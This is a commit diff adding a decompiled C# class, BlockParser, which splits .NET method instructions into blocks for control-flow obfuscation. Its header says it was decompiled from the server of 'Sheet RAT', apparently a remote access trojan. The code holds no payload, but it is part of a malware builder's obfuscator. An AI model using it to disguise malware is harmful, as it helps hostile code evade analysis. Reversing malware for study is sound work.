initial commit

2026-08-27 11:23:25 -06:00
commit faef36ee57
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+// Decompiled with JetBrains decompiler
+// Type: MindLated.Protection.CtrlFlow.BlockParser
+// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
+// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
+
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using System.Collections.Generic;
+
+//#nullable disable
+namespace MindLated.Protection.CtrlFlow {
+
+public class BlockParser
+{
+  public static List<Block> ParseMethod(MethodDef method)
+  {
+    List<Block> method1 = new List<Block>();
+    Block block1 = new Block();
+    int num1 = 0;
+    int num2 = 0;
+    block1.Number = num1;
+    block1.Instructions.Add(Instruction.Create(OpCodes.Nop));
+    method1.Add(block1);
+    Block block2 = new Block();
+    Stack<ExceptionHandler> exceptionHandlerStack = new Stack<ExceptionHandler>();
+    foreach (Instruction instruction in (IEnumerable<Instruction>) method.Body.Instructions)
+    {
+      foreach (ExceptionHandler exceptionHandler in (IEnumerable<ExceptionHandler>) method.Body.ExceptionHandlers)
+      {
+        if (exceptionHandler.HandlerStart == instruction || exceptionHandler.TryStart == instruction || exceptionHandler.FilterStart == instruction)
+          exceptionHandlerStack.Push(exceptionHandler);
+      }
+      foreach (ExceptionHandler exceptionHandler in (IEnumerable<ExceptionHandler>) method.Body.ExceptionHandlers)
+      {
+        if (exceptionHandler.HandlerEnd == instruction || exceptionHandler.TryEnd == instruction)
+          exceptionHandlerStack.Pop();
+      }
+      int pushes;
+      int pops;
+      instruction.CalculateStackUsage(out pushes, out pops);
+      block2.Instructions.Add(instruction);
+      num2 += pushes - pops;
+      if (pushes == 0 && instruction.OpCode != OpCodes.Nop && (num2 == 0 || instruction.OpCode == OpCodes.Ret) && exceptionHandlerStack.Count == 0)
+      {
+        block2.Number = ++num1;
+        method1.Add(block2);
+        block2 = new Block();
+      }
+    }
+    return method1;
+  }
+}
+}